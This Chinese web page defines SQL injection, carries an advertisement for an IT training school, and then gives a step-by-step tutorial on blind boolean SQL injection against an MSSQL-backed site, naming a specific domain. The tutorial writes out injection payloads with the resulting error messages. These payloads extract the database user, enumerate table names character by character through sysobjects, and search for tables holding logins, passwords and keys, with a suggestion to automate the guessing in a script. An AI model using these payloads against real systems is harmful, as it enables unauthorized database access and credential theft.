什么是sql注入测试?
所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。我们需要对应用站点做测试,判断是否存在SQL注入漏洞。具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。[1]比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击.\x0d\x0a更多关于什么是sql注入测试,进入:查看更多内容
渗透测试学习些啥呀
渗透测试的学习的内容有:网络基础,接下来掌握数据库的基础语法等,还有就是Linux的基础操作,必须要掌握一门开发语言。推荐选择【达内教育】。该学校师资力量雄厚,帮助学员从零基础到精通,教学经验丰富,值得信赖。感兴趣的话点击此处,免费学习一下
学习【渗透测试】必须掌握的知识:
1、了解基本的网络知识、什么是IP地址、IP地址的基本概念、IP段划分、什么是A段、B段、C段等。
2、了解http(超文本传输协议)协议概念、工作原理。
3、了解WEB的静态页面和WEB动态页面,B/S和C/S结构。
4、了解常见的服务器、例如、Windows server2003、Linux、UNIX等。
5、了解常见的数据库、MySQL、Mssql、、Access、Oracle、db2等。
6、了解基本的网络架构。
7、了解基本的Html语言,就是打开网页后,在查看源码里面的Html语言。
8、了解一种基本的脚本语言、例如PHP或者asp,jsp,cgi。
想了解更多有关渗透测试的相关信息,推荐咨询【达内教育】。秉承“名师出高徒、高徒拿高薪”的教学理念,是达内公司确保教学质量的重要环节。作为美国上市职业教育公司,诚信经营,拒绝虚假宣传是该机构集团的经营理念。该机构在学员报名之前完全公开所有授课讲师的授课安排及背景资料,并与学员签订《指定授课讲师承诺书》,确保学员利益。达内IT培训机构,试听名额限时抢购。
如何灵活地运用SQLInjection做数据库渗透的一种思路
如今,很多关于mssql数据库的渗透技巧已不能有效地获取有用的数据值。比如在一个怀疑是注入点的地方
当加入" ' "符号进行注入测试时,
'
出错信息是,
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '4? to a column of data type int
我们知道它不对" ' "符号进行过滤。再用如下语句测试,
http //www aquavelvas com/blog.asp?id=4 and 1=1
出错信息是,
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '4 and 1=1' to a column of data type int
好,再来继续测试,
http //www aquavelvas com/blog.asp?id=4'%20and%20'1'='1
这次出错讯息不同了,如下
[Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax near ' and '
我们的" ' "符号加对了,再继续测试,
'%20and%20user'0
出错信息如下,
[Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax near ' and user'
应该是语法不允许直接回值,是不是不能再继续了呢?想想其他办法,就看user值的长度吧,
'%20and%20len(user)'0
出错信息是,
[Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax near ' and len(user)'
好,我们知道如果出错信息是Syntax error...或Either BOF or EOF is True...的话,那语句在逻辑上是错的;而如果出错信息是Incorrect syntax...的话,那语句在逻辑上就是对的。当处理len(user)0,凭着刚才的想法,我们知道在逻辑上这是对的。
我们试试逻辑上错的语句,
'%20and%20user%20'1'='2
果然,出错信息是,
Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record
从len(user)0这语法的基础上,我们得知user的长度是7,之后再用left(user,1)=a这语法来猜出user名是
thomasa。再用db_name()这个function,我们可猜出数据库名。
好了,如何猜表名呢?就先猜表名的长度吧,
就用如下语句,
len(select top 1 name from sysobjects where xtype='U')10
len(select top 1 name from sysobjects where xtype='U')9
len(select top 1 name from sysobjects where xtype='U')8
...
(猜表名的工作是很烦人,建议用perl写个script来玩玩)
再猜表名,
left((select top 1 name from sysobjects where xtype='U'),1)=a
left((select top 1 name from sysobjects where xtype='U'),2)=ab
left((select top 1 name from sysobjects where xtype='U'),3)=abc
...
好了,我们知道第一个表名是'geoipcountrywhois' (知道为什么我建议写个perl script吧!)
再继续猜表名,
len(select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')10
len(select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')9
len(select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')8
...
left((select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')),1)=b
left((select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')),1)=l
left((select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')),1)=o
....
好第二个表名是blog,之后的表名可用('geoipcountrywhois','blog')来继续猜,然而,这显然不是好办法。为什么我们不进行搜索呢?
如何搜索呢?就用如下的语句吧,
(select count(*) from sysobjects where xtype='U' and name like '%login%')=0
(select count(*) from sysobjects where xtype='U' and name like '%pass%')=0
(select count(*) from sysobjects where xtype='U' and name like '%key%')=0
(记得将" % "这符号换成" %25 "才是正确的输入)
好了,通过逻辑上对或错的判断,我们也可以对数据库进行渗透,不再局限于回弹显示值。
希望这思路能开阔注入技术的演变。
0条大神的评论